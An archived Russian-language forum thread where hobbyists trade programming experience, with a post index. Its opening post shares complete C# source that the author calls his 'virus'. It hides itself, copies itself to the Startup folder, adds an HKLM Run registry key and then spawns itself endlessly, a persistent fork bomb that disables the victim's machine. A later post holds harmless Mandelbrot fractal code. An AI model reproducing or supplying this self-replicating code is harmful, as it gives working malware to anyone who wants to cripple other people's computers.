Здравствуйте, гость ( Вход | Регистрация )

Данный форум находится в архиве!


Последние новости C&C читайте на нашем сайте


Пообщаться можно в группе Вконтакте

> Программирование, кто на чём? делимся опытом. помогаем новичкам.
~IL~
сообщение 10.6.2010, 9:35
Сообщение #1


Майор

Группа: Пользователи
Сообщений: 1 091
Регистрация: 10.6.2009
Пользователь №: 3 283
Поблагодарили: 603 раз



здрасте все, кто сюда забрёл
всем форумчанам предлагаю поучаствовать в этой теме

мне хотелось бы, чтобы любители программирования (надеюсь таковые найдутся) поделились своим опытом друг с другом, а так же привлекали новичков в свои ряды. 54.gif

ещё неплохо было бы если бы вы написали, на чём вы программируете и в чём достоинства вашего языка или компилятора.

я недавно начал программировать на C#. компилятор SharpDevelop 3.2
мне нравится этот компилятор, очень удобный интерфейс, доступ к свойствам объектов открывается через точку, так же сразу создается ехе-файл, который готов к употреблению)

до этого писал простенькие программки типа калькулятора)
щас представляю на ваш суд код своего червячка))
показать офф-топ

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
using System.Resources;

namespace a
{
public partial class MainForm : Form
{
public MainForm()
{
Opacity = 0;
//InitializeComponent();
string my_program_path = Application.ExecutablePath.ToString(); //путь к нашей проге
string executable_file_path = "c:/documents and settings/all users/главное меню/программы/автозагрузка/err.exe"; //будущий путь к нашему вирусу

//копирование вируса в автозагрузку
if (!File.Exists(executable_file_path))
File.Copy(my_program_path, executable_file_path);

//запись в реестр
string reg_folder = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\";
RegistryKey reg = null;
reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
if (reg != null)
{
reg.SetValue("my_autorun", executable_file_path);
}

//тело вируса
while (true)
Process.Start(executable_file_path);

//удаление из реестра
//reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
//reg.DeleteValue("my_autorun");

}
}
}

кому что будет не понятно - с радостью объясню)


Эскизы прикрепленных изображений
Прикрепленное изображение Прикрепленное изображение
Пользователь в офлайнеКарточка пользователяОтправить личное сообщение
Вернуться в начало страницы
+Ответить с цитированием данного сообщения
 
Ответить в эту темуОткрыть новую тему
Ответов
~IL~
сообщение 13.11.2010, 20:14
Сообщение #2


Майор

Группа: Пользователи
Сообщений: 1 091
Регистрация: 10.6.2009
Пользователь №: 3 283
Поблагодарили: 603 раз



есть такая интересная штука - фрактал.
самый известный фрактал - множество Мандельброта.
мне удалось раздобыть исходный код построения этого чудо-рисунка на C#
показать офф-топ

// <remarks>
// Mandel.cs Copyright 2005, written by Pierre Leclercq
// </remarks>

namespace Mandelbrot
{
public class Mandel
{
//
// Protected fields
//

protected System.Windows.Forms.ProgressBar m_ProgressBar;

//
// Constructor
//

public Mandel(System.Windows.Forms.ProgressBar pProgressBar)
{
m_ProgressBar = pProgressBar;
}

//
// Properties
//

//
// Public members
//

public System.Drawing.Bitmap GetBitmap(
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
try
{
int i = 0;
int j = 0;
int[][] lValues = new int[pImageHeight][];

for (i = 0; i < pImageHeight; i++)
{
lValues[i] = new int[pImageWidth];
}

CalculateLevels(
lValues,
pImageWidth,
pImageHeight,
pXMin,
pXMax,
pYMin,
pYMax,
pMaxIterationCount);

System.Drawing.Bitmap lBitmap = new System.Drawing.Bitmap(pImageWidth, pImageHeight, System.Drawing.Imaging.PixelFormat.Format32bppArgb);

byte lRed = 0;
byte lGreen = 0;
byte lBlue = 0;
int lPixelByteCount = 4;
int lAlphaPos = 3;
int lRedPos = 2;
int lGreenPos = 1;
int lBluePos = 0;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

System.Drawing.Imaging.BitmapData lBitmapData = new System.Drawing.Imaging.BitmapData();

lBitmap.LockBits(
new System.Drawing.Rectangle(
0,
0,
pImageWidth,
pImageHeight),
System.Drawing.Imaging.ImageLockMode.WriteOnly,
System.Drawing.Imaging.PixelFormat.Format32bppArgb,
lBitmapData);

unsafe
{
System.Byte* lStartPtr = (System.Byte*)((void*)lBitmapData.Scan0);
int lEndToStart = lBitmapData.Stride - pImageWidth * lPixelByteCount;
System.Byte* lPtr = lStartPtr;

for (j = 0; j < pImageHeight; j++)
{
for (i = 0; i < pImageWidth; i++)
{
GetColorFromLevel(
lValues[j][i],
pMaxIterationCount,
out lRed,
out lGreen,
out lBlue);

lPtr[lAlphaPos] = 255;
lPtr[lRedPos] = lRed;
lPtr[lGreenPos] = lGreen;
lPtr[lBluePos] = lBlue;

lPtr += lPixelByteCount;
lPixelPos++;
}

lPtr += lEndToStart;

m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}

lBitmap.UnlockBits(lBitmapData);

return lBitmap;
}
catch
{
return null;
}
}

//
// Protected members
//

protected double GetPotential(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = pX;
double lY = pY;
double lX2 = lX * lX;
double lY2 = lY * lY;
double lTemp = 0;

while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}

if (lIteration < pMaxIterationCount)
{
return 0.5 * System.Math.Log(lX2 + lY2) / System.Math.Pow(2.0, (double)lIteration);
}
else
{
return 0.0;
}
}

protected int GetLevel(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = 0;
double lY = 0;
double lX2 = 0;
double lY2 = 0;
double lTemp = 0;

while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}

return lIteration;
}

protected void CalculateLevels(
int[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
double lFactor = System.Math.Min(lXFactor, lYFactor);
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lFactor;

for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lFactor;

pArrays[j][i] = GetLevel(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}

protected void CalculatePotentials(double[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lYFactor;

for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lXFactor;

pArrays[j][i] = GetPotential(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}

protected void GetColorFromLevel(
int pLevel,
int pMaxIteration,
out byte pRed,
out byte pGreen,
out byte pBlue)
{
double lRatio = (double)pLevel / (double)pMaxIteration;

pRed = 0;
pGreen = 0;
pBlue = 0;

if ((lRatio >= 0) && (lRatio < 0.125))
{
pRed = (byte)(((lRatio - 0) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 0;
}

if ((lRatio >= 0.125) && (lRatio < 0.250))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.125) / 0.125) * ((double)512) + 0.5);
pBlue = 0;
}

if ((lRatio >= 0.250) && (lRatio < 0.375))
{
pRed = (byte)((1.0 - ((lRatio - 0.250) / 0.125)) * ((double)512) + 0.5);
pGreen = 255;
pBlue = 0;
}

if ((lRatio >= 0.375) && (lRatio < 0.500))
{
pRed = 0;
pGreen = 255;
pBlue = (byte)(((lRatio - 0.375) / 0.125) * ((double)512) + 0.5);
}

if ((lRatio >= 0.500) && (lRatio < 0.625))
{
pRed = 0;
pGreen = (byte)((1.0 - ((lRatio - 0.500) / 0.125)) * ((double)512) + 0.5);
pBlue = 255;
}

if ((lRatio >= 0.625) && (lRatio < 0.750))
{
pRed = (byte)(((lRatio - 0.625) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 255;
}

if ((lRatio >= 0.750) && (lRatio < 0.875))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.750) / 0.125) * ((double)512) + 0.5);
pBlue = 255;
}

if ((lRatio >= 0.875) && (lRatio <= 1.000))
{
pRed = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pGreen = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pBlue = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
}
}

//
// Event handlers
//
}
}

и ехешник - прилагается, можно рассмотреть кое-какие детали
если понравится - можете посмотреть в гугле разные фракталы, там и видео есть, но самому как-то приятно по нему поползать) хоть там и не такая крутая детализация)
зы. самое интересное - на конце иглы =)


Прикрепленные файлы
Прикрепленный файл  Mandelbrot.rar ( 11.31 килобайт ) Кол-во скачиваний: 184


Поблагодарили:
Пользователь в офлайнеКарточка пользователяОтправить личное сообщение
Вернуться в начало страницы
+Ответить с цитированием данного сообщения

Сообщений в этой теме
~IL~   Программирование   10.6.2010, 9:35
Nomad   Круть а мы сейчас в коледже Делфи проходим,ты как ...   10.6.2010, 10:01
~IL~   Круть а мы сейчас в коледже Делфи проходим,ты как...   10.6.2010, 19:11
Akellis   Когда программировал на Unity Javascript, пришлось...   10.6.2010, 10:23
Kukov   Раньше с легкостью программировал на VB 6 и паскал...   10.6.2010, 10:55
IwanS   Ох ну и тема :) Программирую на QBasic, TPascal, C...   10.6.2010, 12:30
Kukov   А вот код вируса я бы попросил удалить ибо без тог...   10.6.2010, 13:24
user№3213   можно один вопрос для чего предназначены различные...   10.6.2010, 14:03
Kukov   Ну дак их писали разные люди для разных целей и ка...   10.6.2010, 14:14
==CJ TPATOC==   Есть базовые знания Turbo Pascal и Borland Delphy....   10.6.2010, 14:43
Dukat863   Программирую на C++ и GML (Game Maker Language). ...   10.6.2010, 16:08
~IL~   я пока ещё только начинающий программист, и буду о...   10.6.2010, 18:07
Anubis   Шикарная ссылка)))   10.6.2010, 19:01
IwanS   На си есть стандартная функция вычисления определ...   10.6.2010, 20:01
~IL~   Вывод очевиден - при одном видим равномерное расп...   11.6.2010, 0:15
~IL~   я попробовал и действительно!! я в шоке...   11.6.2010, 18:13
LostLegion   А я вот не умею пока программировать) Посоветуйте ...   10.6.2010, 20:31
Avenger   А я вот не умею пока программировать) Посоветуйте...   10.6.2010, 21:08
~IL~   Думаю лучше с Паскаля. Старая школа... мне кажет...   10.6.2010, 21:23
==CJ TPATOC==   А я вот не умею пока программировать) Посоветуйте...   10.6.2010, 22:24
IwanS   Ни в коем случае не с паскаля,он сейчас нафиг нико...   10.6.2010, 21:53
Avenger   Да, ладно. В Паскале всё очень просто и доступно и...   10.6.2010, 22:02
IwanS   Нет, он дает дурные привычки типа не надо инициал...   10.6.2010, 22:12
Avenger   Нет, он дает дурные привычки типа не надо инициал...   10.6.2010, 22:17
~IL~   Нет, он дает дурные привычки типа не надо инициал...   11.5.2011, 18:19
Nomad   ИМХО паскль бред,сидишь долбишь по клавишам выводи...   10.6.2010, 22:18
Avenger   ИМХО паскль бред,сидишь долбишь по клавишам вывод...   10.6.2010, 22:22
Nomad   Отжог... :lol: Ты только что полностью повторил с...   11.6.2010, 9:55
Dukat863   Нет ну серьезно :) Один раз нам на паре дали зад...   11.6.2010, 10:35
IwanS   Ох и программисты у вас (у меня ушло 2 минуты)......   11.6.2010, 13:18
Avenger   Мне предстоит задача - написать на С++ Генетически...   11.6.2010, 18:22
IwanS   Неверно указан рабочий каталог или файл библиотек...   11.6.2010, 19:44
~IL~   представляю еще один каверзный код на C# =) с помо...   12.6.2010, 9:18
IwanS   Фишка в том что ты сам не сможешь вырубить програ...   12.6.2010, 9:43
~IL~   Фишка в том что ты сам не сможешь вырубить програ...   14.6.2010, 19:45
MiG-27   Ну, собственно и я тудь отпостюсь) пытался програм...   24.6.2010, 15:24
user№3213   HTML это не язык программирования) сам имею опыт р...   24.6.2010, 15:28
MiG-27   как не язык? как нет практики? заходи на юкоз и ва...   26.6.2010, 18:11
IwanS   Язык программирования - это такой, который может ч...   27.6.2010, 5:03
Dukat863   Решил почитать эл. книгу по Ассемблеру. Прочитал ч...   29.6.2010, 13:10
Diamond00744   Немного знаю Pascal и Delphi. Текстовый редактор ...   25.7.2010, 21:45
==CJ TPATOC==   И все недоделано :D: Не удивляйся, у меня тоже м...   25.7.2010, 21:48
Bonpoc4er   Diamond00744 а бесплатные голоса работают? ))   25.7.2010, 21:47
Diamond00744   BONPOC 4 ER, скачай и посуди сам)))   25.7.2010, 22:13
Щука Карась   Хммм не кидайтесь в меня тухлым тиберием но я пок...   26.7.2010, 15:20
Diamond00744   Ничего, еще все впереди. Будешь программистом и с...   26.7.2010, 23:23
Dukat863   Ничего, еще все впереди. Будешь программистом и с...   27.7.2010, 16:13
Diamond00744   Вот когда они в повседневную жизнь войдут, ты их н...   27.7.2010, 16:15
Kukov   BONPOC 4 ER, скачай и посуди сам))) Кстати качае...   27.7.2010, 17:59
Diamond00744   Я писал эту прогу на Delphi. Все чисто. У меня NOD...   27.7.2010, 18:31
IwanS   Diamond00744, может ты библиотеку какую-то специфи...   27.7.2010, 19:09
Diamond00744   IwanS спасибо тебе огромное за понимание, я думал,...   27.7.2010, 19:16
IwanS   Diamond00744, а ты не мог бы дать листинг заголовк...   27.7.2010, 19:21
Diamond00744   Уменьшил кол-во окон с сообщениями до трех. Резуль...   27.7.2010, 19:30
IwanS   Diamond00744, это не серьезно. Какие-то 4 неизвест...   27.7.2010, 19:37
Diamond00744   Ладно, последний момент: сжал UPX-ом, отправил, то...   27.7.2010, 20:03
~IL~   одну фишку вспомнил мне тут один чел показал, тепе...   7.11.2010, 23:34
Diamond00744   ~IL~, это полное издевательство... :D:   8.11.2010, 13:23
KALAPS Shtam8   если вы хотите насолить опытному юзеру, придётся ...   13.11.2010, 20:32
~IL~   Зачем заморачиваться и пытаться выдумать безобидн...   13.11.2010, 23:20
KALAPS Shtam8   Ну создал я этот файл , проверил ... В итоге он не...   14.11.2010, 0:42
~IL~   Ну создал я этот файл , проверил ... В итоге он н...   14.11.2010, 1:54
KALAPS Shtam8   :crazy: вообще-то так и должно быть :) А почему...   14.11.2010, 2:13
~IL~   А почему тогда первый раз я смог его через деспет...   14.11.2010, 11:27
KALAPS Shtam8   видимо комп мощный, не успевает перегрузиться, по...   14.11.2010, 12:56
IwanS   А вы не пытайтесь ему помешать, в винде есть защит...   14.11.2010, 12:59
Ren_Dimon   ку всем! найдться у кого нибудь visual c++ exp...   22.11.2010, 0:16
~IL~   ку всем! найдться у кого нибудь [color=#FFFF6...   22.11.2010, 1:34
IwanS   Ren_Dimon, шутник! Все инструменты серии Expre...   22.11.2010, 0:22
Ren_Dimon   ссылка не работает( они требуют активации?   22.11.2010, 0:32
Ren_Dimon   вот скачал SharpDevelop сейчас им под виндовс прог...   22.11.2010, 1:54
~IL~   но visual c++ express edition ваще вещь + к таму...   22.11.2010, 9:25
IwanS   ~IL~, это базовый функционал всех приличных сред р...   22.11.2010, 13:36
~IL~   ~IL~, это базовый функционал всех приличных сред ...   29.11.2010, 3:14
Dukat863   больше всего радует, что доступ к объектам класса...   23.11.2010, 13:52
икзишен   Люди кто поможет решит задачи? Я уже запарился над...   23.11.2010, 19:37
Dukat863   Люди кто поможет решит задачи? Я уже запарился на...   24.11.2010, 15:56
~IL~   Люди кто поможет решит задачи? Я уже запарился на...   29.11.2010, 2:35
AlexZ   Народ, кто шарит в Маткаде? Нужно длинную формулу ...   24.11.2010, 16:07
Avenger   Товарищи, как в создании страницы при помощи HTML ...   28.11.2010, 11:22
IwanS   Avenger, http://cncfile.ru/a/test.zip   28.11.2010, 17:06
Avenger   Avenger, http://cncfile.ru/a/test.zip Ага, спаси...   28.11.2010, 17:46
Diamond00744   Решил зайти в папку с прогой, она увеличилась на ...   1.12.2010, 22:53
Dukat863   Решил я скачать этот пример. Попробовал -> понр...   4.12.2010, 19:32
Avenger   Тут полностью изложено содержимое файла dmusici.h ...   4.12.2010, 20:40
Dukat863   Спасибо, помогло (Там-же нашёл ещё header'ы).   5.12.2010, 15:02
~IL~   недавно написал 2 программки. может быть кому-то п...   4.5.2011, 15:05
Avenger   правда они не доработаны, но если кому нужен исхо...   7.5.2011, 20:37
GraYaSDF   Я все еще пользуюсь будильником, написанным мной д...   4.5.2011, 19:51
Dukat863   [off][video]http://radio.cncseries.ru/clock.swf ...   4.5.2011, 20:08
Diamond00744   А сюда не программирование, а простой формострой м...   7.5.2011, 20:26
IwanS   Diamond00744, а он имеет какую-то практическую цен...   7.5.2011, 20:28
Diamond00744   Что за... Опять чтоли? Тогда нужна помощь) Может ...   7.5.2011, 21:48
Dukat863   Используй WinRar, а не всякий virUs Packer for eXe...   7.5.2011, 22:02
Diamond00744   Стоп... зацените результаты: http://www.virustota...   7.5.2011, 22:03
Dukat863   У меня кстати та-же версия что и там. Лучше запаку...   7.5.2011, 22:06
Diamond00744   Dukat863, может, просто он у тебя настроен на ...   7.5.2011, 22:08
Diamond00744   Школьные компьютеры нужны только для экспериментов...   24.5.2011, 0:20
2 страниц V  1 2 >

Ответить в эту темуОткрыть новую тему
 

Текстовая версия Сейчас: 25.8.2026, 11:48
Rambler's Top100 CNC Top 101